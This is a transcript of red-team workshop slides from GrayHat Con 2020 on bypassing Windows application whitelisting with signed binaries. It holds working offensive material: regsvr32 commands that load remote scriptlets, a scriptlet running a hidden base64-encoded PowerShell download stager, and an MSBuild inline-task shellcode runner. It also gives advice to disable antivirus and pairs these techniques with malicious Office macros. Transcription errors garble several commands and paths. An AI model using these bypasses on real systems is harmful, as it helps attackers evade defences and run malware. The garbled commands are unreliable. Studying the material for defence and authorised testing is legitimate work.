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# A PRACTICAL INTRODUCTION TO BYPASSING APPLICATION WHITELISTING

GrayHat Con 2020

/WHOAMI

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- **Offensive Security Engineer  
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- **Open-Source Developer:  
EXCELntDonut & C2Concealer**
- **Former Full Stack Developer**
- **Former Cold Call/Email Trainer**

# BY THE END OF THIS WORKSHOP, YOU WILL BE ABLE TO:

- \* **Describe what Application Whitelisting is and why it's used**
- \* **Identify 4 Microsoft-signed binaries used by red teams to bypass AWL**
- \* **Understand how to use AWL bypasses for lateral movement and initial access**
- \* **Actually bypass Application Whitelisting security controls**

# WHAT YOU NEED

- A Windows VM or Host (like a Windows desktop/laptop)
  - Turn off Defender (and other A/V) temporarily
- Download course files from:
  - <https://github.com/FortyNorthSecurity/Presentations>
  - <https://www.dropbox.com/s/2acrszdgehper1q/fsi.zip?dl=0>

# AGENDA

- Brief Introduction to App Whitelisting Tech
  - What is it? Why is it used? How does it work?
  - Ex: Microsoft's AppLocker
  - Ex: Microsoft's DeviceGuard (WDAC)
- How to create your own App Whitelisting Lab
- RegSrv32 (the OG of AWL bypassing; not used a ton)
- MSBuild (I use this every assessment)
- WMIC (My backup on every assessment)
  - DotNetToJScript
  - GadgetToJScript
- CSI.exe/FSI.exe (Just starting to experiment with this)

# **WHAT IS APPLICATION WHITELISTING?**

**A SET OF RULES THAT BLOCKS THE EXECUTION OF  
APPLICATIONS NOT ON AN APPROVED LIST**

- Allow all Microsoft-signed EXEs, DLLs, etc.**
- Allow Slack.exe**
- Allow Chrome.exe**
- Allow QuickBooks.exe**
- Deny all else**

# APP WHITELISTING USE CASES

- Prevent the execution of custom-malware
- Prevent employees from unwittingly loading malware
- Prevent employees from running random software not approved by IT
- Better control over BYOD devices
- App-based usage reports

# APPLICATION WHITELISTING

- There are a variety of technologies that are available to deploy app whitelisting:
  - AppLocker
  - DeviceGuard (WDAC)
  - Carbon Black
  - Desktop Authority Management Suite (Quest)
- Unfortunately, most organizations / administrators don't leverage app whitelisting.
  - Why?

# **“IT’S TOO MUCH WORK”**

**- A LOT OF SYS ADMINS\***

\*To their credit, it is a ton of work

# APPLICATION WHITELISTING

- When Application Whitelisting is typically deployed, it's commonly configured by scanning a gold imaged system, and only allowing those binaries to run.
  - But that's tough
- An implication of scanning a gold imaged system in a Windows environment is:
  - You're inherently trusting Microsoft-signed binaries

REPURPOSE MICROSOFT BINARIES TO EXECUTE  
OUR ~~MALICIOUS~~ ARBITRARY CODE

# REPURPOSING MICROSOFT BINARIES

- Even on an app whitelisting protected system, if your system trusts Microsoft code, it's still vulnerable
  - This does eliminate the threat of an attacker dropping a custom compiled binary.
    - It won't run!

# Living off the Land



# HOW DOES IT WORK?

AppLocker & DeviceGuard

# APP LOCKER

- Origin:
  - Software Restriction Policies (SRPs) included in WindowsXP
    - Too hard to implement
- App Locker is built into Win-7 machines and newer
- Can deploy via Group Policy
- Provides fine-grained control over software execution policies
  - Can set rules by individual users or groups on particular hosts
- Rules based on:
  - Publisher
  - Binary Hash
  - Path from where binary was launched

# EXAMPLE RULES

nsacyber / AppLocker-Guidance

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master AppLocker-Guidance / AppLocker Starter Policy / Windows10\_AppLocker Starter Policy.xml Go to file ...

iadgovadmin Starter Policy for Windows 10 Latest commit 9ad0793 on Oct 3, 2016 History

1 contributor

182 lines (182 sloc) | 11.8 KB Raw Blame

```
1 <!--
2 This file is an AppLocker Policy xml file that can be imported using the Group Policy Management Editor
3 to automatically configure a starting location-based application whitelisting policy for initial auditing.
4 Once applied, the events will need to be reviewed to tailor the policy to the network.
5 -->
6 <AppLockerPolicy Version="1">
7   <RuleCollection Type="Dll" EnforcementMode="AuditOnly">
8     <FilePathRule Id="1d04fdc7-5e29-45b1-a0d7-f7e9293774f8" Name="Allows administrators to execute all DLLs" Description="Allows members of the Administrators group to execute all DLLs.">
9       <Conditions>
10         <FilePathCondition Path="*" />
11       </Conditions>
12     </FilePathRule>
13     <FilePathRule Id="7ca2deae-991c-4e26-b688-98137f9cc777" Name="Allow everyone to execute all DLLs located in the Windows folder" Description="Allows users to execute all DLLs located in the Windows folder.">
14       <Conditions>
15         <FilePathCondition Path="%WINDIR%\*" />
16       </Conditions>
17       <Exceptions>
18         <FilePathCondition Path="%SYSTEM32%\catroot2\*" />
19         <FilePathCondition Path="%SYSTEM32%\com\dmp\*" />
20         <FilePathCondition Path="%SYSTEM32%\FxsTmp\*" />
21         <FilePathCondition Path="%SYSTEM32%\spool\drivers\color\*" />
22         <FilePathCondition Path="%SYSTEM32%\spool\PRINTERS\*" />
23         <FilePathCondition Path="%SYSTEM32%\spool\SERVERS\*" />
24         <FilePathCondition Path="%SYSTEM32%\Tasks\*" />
25         <FilePathCondition Path="%WINDIR%\Debug\*" />
26         <FilePathCondition Path="%WINDIR%\PCHEALTH\ERRORREP\*" />
```

```
<AppLockerPolicy Version="1">
  <RuleCollection Type="Dll" EnforcementMode="AuditOnly">
    <FilePathRule Id="1a09fde7-3c29-45b1-aed7-17c5295771f8" Name="Allows administrators to execute all DLLs" Description="Allows members of the local Administrators group to execute all DLLs" BinaryName="IEEXPLORE.exe">
      <Conditions>
        <FilePathCondition Path="*" />
      </Conditions>
    </FilePathRule>
    <FilePathRule Id="7ca2deae-991c-4e26-b688-98137f9cc777" Name="Allow everyone to execute all DLLs located in the Windows folder" Description="Allows members of the local Everyone group to execute all DLLs located in the Windows folder" BinaryName="IEEXPLORE.exe">
      <Conditions>
        <FilePathCondition Path="%WINDIR%\*" />
      </Conditions>
      <Exceptions>
        <FilePathCondition Path="%SYSTEM32%\catroot2\*" />
        <FilePathCondition Path="%SYSTEM32%\com\dmpl*\\" />
        <FilePathCondition Path="%SYSTEM32%\FxsTmp\*" />
        <FilePathCondition Path="%SYSTEM32%\spool\drivers\color\*" />
        <FilePathCondition Path="%SYSTEM32%\spool\PRINTERS\*" />
        <FilePathCondition Path="%SYSTEM32%\spool\SERVERS\*" />
        <FilePathCondition Path="%SYSTEM32%\Tasks\*" />
        <FilePathCondition Path="%WINDIR%\Debug\*" />
        <FilePathCondition Path="%WINDIR%\PCHEALTH\ERRORREP\*" />
        <FilePathCondition Path="%WINDIR%\Registration\*" />
        <FilePathCondition Path="%WINDIR%\SysWOW64\com\dmpl*\\" />
        <FilePathCondition Path="%WINDIR%\SysWOW64\FxsTmp\*" />
        <FilePathCondition Path="%WINDIR%\SysWOW64\Tasks\*" />
        <FilePathCondition Path="%WINDIR%\Tasks\*" />
        <FilePathCondition Path="%WINDIR%\Temp\*" />
        <FilePathCondition Path="%WINDIR%\tracing\*" />
      </Exceptions>
    </FilePathRule>
    <FilePathRule Id="f36fbeba-ab50-48c0-9361-41af365d82ce" Name="Allow everyone to execute all DLLs located in the Program Files folder" Description="Allows members of the local Everyone group to execute all DLLs located in the Program Files folder" BinaryName="IEEXPLORE.exe">
      <Conditions>
        <FilePathCondition Path="%PROGRAMFILES%\*" />
      </Conditions>
    </FilePathRule>
  </RuleCollection>
  <RuleCollection Type="Exe" EnforcementMode="AuditOnly">
    <FilePublisherRule Id="187ae870-255e-42d7-8ef9-9a8434a70716" Name="Prevent administrators from easily running the Internet Explorer web browser" Description="Prevents administrators from easily running the Internet Explorer web browser" BinaryName="IEEXPLORE.exe">
      <Conditions>
        <FilePublisherCondition PublisherName="0=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" ProductName="WINDOWS® INTERNET EXPLORER" BinaryName="IEEXPLORE.exe" />
        <BinaryVersionRange LowSection="*" HighSection="*" />
      </Conditions>
    </FilePublisherRule>
  </RuleCollection>
</AppLockerPolicy>
```

# APP LOCKER

- How does it work?
  - There's an excellent article detailing the API calls and underlying functions
    - <https://www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-2.html>
  - Generally, after a process is created, but before the first thread is inserted, app locker hooks into the process and inspects for rule violations. Any violations result in immediate process termination.
- What types of files can it block?
  - EXE
  - Scripts
  - DLLs
  - Windows Installer Files
  - Packaged Apps (aka Microsoft Store Apps)

# APP LOCKER LIMITATIONS

- **Easily bypassed**
  - For example: Local admins can add custom rules (via GUI or CLI)
- **Operates only in userland (no device drivers)**
- **Rule options could be better**
  - Ex: you can't specify rules based on the process that launches the binary
- **You're only as good as your rule set**

# Executable rules in AppLocker

09/21/2017 • 2 minutes to read • 5 comments +1

## Applies to

- Windows 10
- Windows Server

This topic describes the file formats and available default rules for the executable rule collection.

AppLocker defines executable rules as any files with the .exe and .com extensions that are associated with an app. Because all of the default rules for the executable rule collection are based on folder paths, all files under those paths will be allowed. The following table lists the default rules that are available for the executable rule collection.

Purpose	Name	User	Rule condition type
Allow members of the local Administrators group access to run all executable files	(Default Rule) All files	BUILTIN\Administrators	Path: *

# DEVICE GUARD

- aka Windows Defender Application Control (WDAC)
- It's like App Locker 2.0
- Available on Win10 / Server 2016 (and newer)
  - It's NOT compatible with Win7 / Server 2008
- Applies rules to the entire computer (all users on a particular host bound to same rules)
- Managed/Deployed via GPO
- Rule Sets == Code Integrity Policies
- Improvement over App Locker:
  - Ex: Userland + Kernel
  - Ex: More control over policies (such as defining policies by Process Spawning)

# CODE INTEGRITY POLICY EXAMPLE

## Windows Defender Application Control example base policies

11/15/2019 • 2 minutes to read • 

### Applies to:


- Windows 10
- Windows Server 2016 and above

When creating policies for use with Windows Defender Application Control (WDAC), it is recommended to start from an existing base policy and then add or remove rules to build your own custom policy XML files. Windows includes several example policies which can be used, or organizations which use the Device Guard Signing Service can download a starter policy from that service.

### Example Base Policies

Example Base Policy	Description	Where it can be found
DefaultWindows.xml	This example policy is available in either audit or enforce mode. It includes the rules necessary to ensure that Windows, 3rd party hardware and software kernel drivers, and Windows Store apps will run. Used as the basis for all <a href="#">Microsoft Endpoint Manager(MEM)</a> policies.	%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies
AllowMicrosoft.xml	This example policy is available in audit mode. It includes the rules from DefaultWindows and adds rules to trust apps signed by the Microsoft product root certificate.	%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies
AllowAll.xml	This example policy is useful when creating a block list policy. All block policies should include rules allowing all other code to run and then add the DENY rules for your organization's needs.	%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies

# CODE INTEGRITY POLICY EXAMPLE



The screenshot shows a Windows-based XML editor window with the title bar "C:\Windows\schemas\CodeIntegrity\ExamplePolicies\AllowMicrosoft.xml". The main content area displays the XML code for a System Integrity Policy (SiPolicy) named "AllowMicrosoft". The XML includes details such as VersionEx (10.0.1.0), PolicyID (A244370E-44C9-4C06-B551-F6016E563076), BasePolicyID (A244370E-44C9-4C06-B551-F6016E563076), PlatformID (2E07F7E4-194C-4D20-B7C9-6F44A6C5A234), and various rules for enabling different system integrity options like UMCI and EKUs.

```
<?xml version="1.0" encoding="UTF-8"?>
- <SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.1.0</VersionEx>
  <PolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyID>
  <BasePolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</BasePolicyID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  - <Rules>
    - <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
    - <Rule>
      <Option>Enabled:Advanced Boot Options Menu</Option>
    </Rule>
    - <Rule>
      <Option>Enabled:UMCI</Option>
    </Rule>
    - <Rule>
      <Option>Enabled:Inherit Default Policy</Option>
    </Rule>
    - <Rule>
      <Option>Enabled:Update Policy No Reboot</Option>
    </Rule>
  </Rules>
  <!--EKUS-->
  - <EKUs>
    <EKU Value="010a2b0601040182374c0301" FriendlyName="Windows Store EKU - 1.3.6.1.4.1.311.76.3.1 Windows Store" ID="ID_EKU_STORE"/>
  </EKUs>
  <!--Signers-->
  - <Signers>
    - <Signer ID="ID_SIGNER_MICROSOFT_PRODUCT_1997" Name="MincryptKnownRootMicrosoftProductRoot1997">
      <CertRoot Value="04" Type="Wellknown"/>
    </Signer>
    - <Signer ID="ID_SIGNER_MICROSOFT_PRODUCT_2001" Name="MincryptKnownRootMicrosoftProductRoot2001">
      <CertRoot Value="05" Type="Wellknown"/>
    </Signer>
    - <Signer ID="ID_SIGNER_MICROSOFT_PRODUCT_2010" Name="MincryptKnownRootMicrosoftProductRoot2010">
      <CertRoot Value="06" Type="Wellknown"/>
    </Signer>
    - <Signer ID="ID_SIGNER_MICROSOFT_STANDARD_2011" Name="MincryptKnownRootMicrosoftStandardRoot2011">
      <CertRoot Value="07" Type="Wellknown"/>
    </Signer>
  </Signers>
</SiPolicy>
```

# DEVICE GUARD

- Audit Mode
  - When a Code Integrity Policy is deployed in audit mode, it will generate Windows Event Log Events whenever a binary would have been blocked, but it won't be blocked.
  - \*Defenders\* if you can't get buy-in to deploy Device Guard, at least build a code integrity policy and deploy in audit mode for the added telemetry
- Enforcement Mode
  - Will actively block binaries

# DEVICE GUARD VS. APP LOCKER

- Device Guard is better when:
  - Using app whitelisting primarily for security reasons
  - Your policy can apply to ALL users on the specified computers
  - All devices are running Win10+
- AppLocker is better when:
  - You have a mixed OS environment (some Win7, some Win10)
  - Need different policies for different users on a shared computer
  - Primary intent is to block users from running unapproved software, not security
  - No need for application control on kernel-level processes (like drivers)
- You can combine them!

# CREATING YOUR OWN LAB

# LAB SETUP RESOURCES

- Patched Win10 Enterprise or Education edition VM
  - Windows Defender / A/V Turned Off
- AppLocker
  - Sample Rule Set:
    - [https://github.com/nsacyber/AppLocker-Guidance/blob/master/AppLocker%20Starter%20Policy/Windows10\\_AppLocker%20Starter%20Policy.xml](https://github.com/nsacyber/AppLocker-Guidance/blob/master/AppLocker%20Starter%20Policy/Windows10_AppLocker%20Starter%20Policy.xml)
  - Lab Setup Guide:
    - [https://github.com/MicrosoftLearning/40554A-Microsoft-Security-Workshop-Implementing-Windows-10-Security-Features/blob/master/Instructions/40554A\\_LAB\\_03.md](https://github.com/MicrosoftLearning/40554A-Microsoft-Security-Workshop-Implementing-Windows-10-Security-Features/blob/master/Instructions/40554A_LAB_03.md)
- DeviceGuard
  - Sample Rule Set:
    - <C:\Windows\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows.xml>
  - Lab Setup Guide:
    - <https://fortynorthsecurity.com/blog/building-a-windows-defender-application-control-lab/>

C:\Windows\System32\cmd.exe - powershell

PS C:\Users\User1\Downloads\fsi\fsi> Get-CimInstance -ClassName Win32\_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

AvailableSecurityProperties	:	{5 6}
CodeIntegrityPolicyEnforcementStatus	:	2
InstanceIdentifier	:	41f40742-2649-41b8-bdd1-e80fad1cce80
RequiredSecurityProperties	:	{2}
SecurityServicesConfigured	:	{0}
SecurityServicesRunning	:	{0}
UsermodeCodeIntegrityPolicyEnforcementStatus	:	2
Version	:	1.0
VirtualizationBasedSecurityStatus	:	0
PSComputerName	:	

**2 == Enforced**

PS C:\Users\User1\Downloads\fsi\fsi>

# IMPORTANCE OF LAB CREATION

- Not all bypasses (even the ones we're looking at today) will work uniformly against all Application Whitelisting technologies
  - Differences in how the technologies are implemented / setup
  - Differences in rule sets
- Important to identify your target's defensive controls and build a lab to mirror those environments, then test your payloads

# BYPASSING AWL

RegSvr32, MSBuild, WMIC, CSI/FSI

# REGSVR32

# REGSVR32.EXE

- This was likely the first app whitelisting bypass most people learned
- This discovery really demonstrated the effectiveness of app whitelisting bypasses
- Originally called “Squiblydoo” by Casey Smith (@SubTee)

# REGSVR32.EXE

- Where is it installed?
  - On all Windows Systems (XP/7/8/10)
  - C:\Windows\System32\regsvr32.exe
- What does it stand for?
  - Register Server
- What does RegSvr32 do?
  - Register/Unregister DLLs and ActiveX controls in the Windows Registry
  - This includes registering/unregistering COM scriptlet files

# REGSVR32.EXE

- **Command**
  - **regsvr32 /s /u /n /l:<local or remote path to scriptlet file> <dllname>**
- **Explanation**
  - **/s = run silently**
  - **/u = unregister dll**
  - **/n = do not call the DIIRegisterServer function**
  - **/i = call DLLUninstall with the optional scriptlet**
  - **<dllname> = the dll to register or unregister**

# REGSVR32.EXE

- To bypass AWL:
  - `C:\Windows\System32\regsvr32.exe /s /n /u /i:squibly.txt scrobj.dll`
  - **squibly.txt is a malicious COM scriptlet (containing malicious JScript)**
  - **scrobj.dll is Microsoft's Script Component Runtime**
- You can host your malicious COM scriptlet remotely
  - `regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll`

# REGSVR32.EXE

```
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
        ]]>
    </script>
</registration>
</scriptlet>
```

# REGSVR32.EXE

```
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-FEEDACDC}"
    >
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    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
        ]]>
    </script>
</registration>
</scriptlet>
```

# REGSVR32.EXE

```
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-FEEDACDC}"
    >
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -e
WwBOAGUAdAAuAFMAZQByAHYAAQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwB1AHIAxQA6ADoAUwB1AGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFs
1AHIAaQB0AHkAUAByAG8AdABvAGMAdBwBsAFQAcQBwAGUAXQA6ADoAVABsAHMAMQAcADsAJABaAD0AbgB1AHcALQBvAGIAagB1AGMAdAAgAG4AZQB0AC4Adw
QAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgB1AHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwB1AHQARAB1AGYAYQB1AGwAdABQAHIAbwB4AHkAKAApA
wAgAC0AbgB1ACAAJABuAHUAbABsACkAewAkAFoALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwB1AGIAUgB1AHEAdQB1AHMAdABdADoAOgBHAGUAdABTAHkA
AHIAbwB4AHkAKAApADsAJABaAC4AUAByAG8AeAB5AC4AQwByAGUAZAB1AG4AdABpAGEAbABzAD0AlwB0AGUAdAAuAEMAcgB1AGQAZQBuAHQAcQBhAGwAQwE
AZQBmAGEAdQBzAHQAcwByAGUAZAB1AG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKABBafMAeQBzAHQAZQBtAC4AVAB1AHgAdAAuAEUAbgBjAG8AZABpAC
BJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAWgAuAGQAbwB3AG4AbABvAGEAZABkAGEAdABhACgAJwBoAHQAdABwADoALwAvADEAOQAc4AMQA2ADgA
DoAOAAwADgAMAAvAHAAZABmAHkAaQB5ADAATQBoAGoAVABiADYANQBHAcCkQApACKAOwA=");

        ]]>
    </script>
</registration>
</scriptlet>
```

# HANDS-ON EXERCISE #1


**Step 1: Grab the COM scriplet located here:**

- /Presentations/grayhatcon2020/calc.txt

**Step 2: Run the COM scriptlet with regsvr32 on your Windows VM or host to pop calc**


- C:\Windows\System32\regsvr32.exe /s /n /u /i:calc.txt scrobj.dll

# **DEMO FOR EXERCISE #1**



# LIMITATIONS

- Honestly, we don't use this bypass b/c it's old and has been heavily signatured and will be blocked by A/V most of the time.
- TrustedSec has done some research in bypassing A/V with this bypass.
  - <https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/>



# MSBUILD

# MSBUILD

- My favorite bypass
- Two flavors of bypasses
  - Inline tasks (if you've used msbuild before, it was likely like this)
  - Custom tasks

# MSBUILD

- Where is it installed?
  - Included with .NET v2 and above
  - **C:\Windows\microsoft.NET\Framework\v4.0.30319\MSBuild.exe**
- What does it stand for?
  - Microsoft Build Engine
- What does MSBuild do?
  - Builds projects (like .csproj files)
  - Used by Visual Studio to load and build managed projects

# MSBUILD

## ■ How does it work?

- You pass a project file (like .proj or .csproj) as a command line argument and it will build the project
- Alternatively, you can pass an XML-based project file to outline how/what items are to be built during the build process
- This is what we're going to leverage to bypass AWL

```
XML

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Compile Include="helloworld.cs" />
  </ItemGroup>
  <Target Name="Build">
    <Csc Sources="@(<Compile>)"/>
  </Target>
</Project>
```

# MSBUILD

- **Command:**

- **msbuild.exe \path\to\malicious.xml**
  - **msbuild.exe \path\to\malicious.csproj**

# MSBUILD (INLINE TASKS)

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask
          {
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
              UInt32 size, UInt32 fAllocationType, UInt32 fProtect);
            [DllImport("kernel32")]
            private static extern IntPtr CreateThread(
              UInt32 lpThreadAttributes,
              UInt32 dwStackSize,
              UInt32 lpStartAddress,
              IntPtr param,
              UInt32 dwCreationFlags,
              ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
              IntPtr hHandle,
              UInt32 dwMilliseconds
            );
            public override bool Execute()
            {
              //replace with your own shellcode
              byte[] buf = new byte[]{};
```

# MSBUILD (INLINE TASKS)

- **Inline tasks are great, but require you to host your C# source code in the XML file. If a defender can get their hands on that XML file, then they will know what you've been up to.**
- **How about hosting the C# source code in a separate file?**

# MSBUILD (INLINE TASKS)

The image shows two Notepad windows side-by-side. The top window is titled 'fun - Notepad' and contains an MSBuild project file. The bottom window is titled 'fun.cs - Notepad' and contains a C# source file.

**fun - Notepad**

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="calc">
    <ClassExample />
</Target>
<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
        <Code Type="Fragment" Source="C:\Users\ponce\Desktop\fun.cs">
        </Code>
    </Task>
</UsingTask>
</Project>
```

**fun.cs - Notepad**

```
System.Diagnostics.Process.Start("calc");
```

# HANDS-ON EXERCISE #2

**Step 1: Grab the MSBuild XML file (inline tasks) located here:**

- /Presentations/grayhatcon2020/inline.xml

**Step 2: Run the MSBuild XML file on your Windows VM or host to pop calc**

- C:\Windows\mscrlite\mscrlite.exe inline.xml

# **DEMO FOR EXERCISE #2**



inline - Notepad

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe inline.xml -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
<Target Name="calc">
  <ClassExample />
</Target>
<UsingTask
  TaskName="ClassExample"
  TaskFactory="CodeTaskFactory"
  AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Reference Include="System.Management.Automation" />
  <Code Type="Class" Language="cs">
    <![CDATA[
        using System;
        using System.IO;
        using System.Diagnostics;
        using System.Reflection;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;


        //Add For PowerShell Invocation
        using System.Collections.ObjectModel;
        using System.Management.Automation;
        using System.Management.Automation.Runspaces;
        using System.Text;
    
```



# MSBUILD

- When not provided with an argument (ie: our path to the malicious xml file), MSBuild will automatically look for a .csproj file in the current working directory
  - If we rename our malicious XML file to <anything>.csproj, it will execute our payload without any command line arguments
  - From a command-line arguments auditing perspective, defenders would only see MSBuild being called

# **DEMO EXECUTING MSBUILD WITHOUT CLI ARGS**



# MSBUILD (CUSTOM TASKS)

- So far, so good! We can execute custom C# code (including PowerShell scripts) using MSBuild and not provide any command-line arguments. Awesome!
- The approach we've seen so far relies on “inline tasks”

```
<Target Name="MyTarget">
</Target>
<UsingTask
  TaskName="ClassExample"
  TaskFactory="CodeTaskFactory"
  AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
  <Code Type="Class" Language="cs">
    <![CDATA[
      using System;
      using System.Runtime.InteropServices;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;
      public class ClassExample : Task, ITask
      {
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    ]]>
```

# MSBUILD (CUSTOM TASKS)

- There's another method called "Custom Tasks". In this case, we need to take the following steps:
  - Step 1: Define a task to execute in C#
  - Step 2: Compile that project into a DLL
  - Step 3: Create an XML file that references the task in the DLL
- Why would we drop two files to disk when the other method only requires one?
  - It's good to have multiple options in your toolkit.
  - Inline tasks are used quite often by offensive folks. This is a great alternative and not all EDR / A/V has caught on yet.

# MSBUILD (CUSTOM TASKS)

C# CODE

```
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

namespace MyTasks
{
    public class SimpleTask : Task
    {
        public override bool Execute()
        {
            Process.Start("calc.exe");
            Console.WriteLine(this.MyProperty);
            return true;
        }

        public string MyProperty { get; set; }
    }
}
```

XML FILE

```
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="MvTarget">
        <SimpleTask MyProperty="Example of a variable passed in" />
    </Target>
    <UsingTask TaskName="SimpleTask" AssemblyFile="calc.dll" />
</Project>
```

# HANDS-ON EXERCISE #3

**Step 1: Grab the MSBuild XML file (custom tasks) and C# file here:**

- /Presentations/grayhatcon2020/calc.cs


**Step 2: Compile the C# File:**

- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /target:library /reference:Microsoft.Build.Framework.dll,Microsoft.Build.Tasks.v4.0.dll,Microsoft.Build.Utilities.v4.0.dll,System.Configuration.Install.dll calc.cs

**Step 3: Run the MSBuild XML file on your Windows VM / host to pop calc**

- C:\Windows\mscrosft.NET\Framework\v4.0.30319\MSBuild.exe custom.xml

# **DEMO FOR EXERCISE #3**





# MSBUILD + XLM (EXCEL 4.0) MACROS


- Combine an MSBuild bypass with XLM (Excel 4.0) Macros.
  - Two options:
    - (1) Dynamically write an xml file to disk and call that with msbuild. Then delete it.
      - Pro: CLI Args reveal nothing
      - Con: Wrote XML file to disk, Malicious XML located in your VBA
    - (2) Reference a remotely hosted xml file and call that with msbuild.
      - Pro: No writing to disk
      - Con: Reaching out over the network

# XLM MACROS

- No. This is not VBA.
- No. This is not XML.
- XLM (Excel 4.0) Macros were created in 1992, before VBA existed.



# XLM MACROS




# CREDIT TO @OUTFLANKNL

The screenshot shows a web browser displaying a blog post from the website [outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/). The page header includes the Outflank logo and the tagline "Clear advice with a hacker mindset". The main title of the post is "Old school: evil Excel 4.0 macros (XLM)". Below the title, the author is listed as "Stan Hegt | October 6, 2018". The post content discusses the history and use of XLM macros in malicious documents, noting their difficulty for antivirus detection.

In this post, I will dive into [Excel 4.0 macros](#) (also called XLM macros – not XML) for offensive purposes. If you grew up in the Windows 95 age or later, just as I did, you might have never heard of this technology that was introduced as early as 1992. Virtually all malicious macro documents for MS Office are based on [Visual Basic for Applications](#) (VBA). However, XLM macros are a hidden gem for red teamers and turn out to be a very good alternative to VBA macros for offensive purposes: XLM can be difficult to analyse and it appears that most antivirus solutions have trouble detecting XLM maldocs. And although the technology is 26 years old by now, Excel 4.0 macros are still supported in the

**DEMO FOR MSBUILD+XLM (EXCEL 4.0)**



# MSBUILD + VBA

- Combine an MSBuild bypass with VBA.
  - Two options:
    - (1) Dynamically write an xml file to disk and call that with msbuild. Then delete it.
      - Pro: CLI Args reveal nothing
      - Con: Wrote XML file to disk, Malicious XML located in your VBA
    - (2) Reference a remotely hosted xml file and call that with msbuild.
      - Pro: No writing to disk
      - Con: Reaching out over the network

 [infosecn1nja / MaliciousMacroMSBuild](#)

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[master](#) [1 branch](#) [0 tags](#) [Go to file](#) [Add file](#) [Code](#)

 [infosecn1nja](#) Update m3-gen.py 7c656cc on Aug 6, 2019 7 commits

	templates	Update MaliciousMacroMSBuild v2.1
	LICENSE	Create LICENSE
	README.md	Update README.md
	m3-gen.py	Update m3-gen.py

**About**

Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
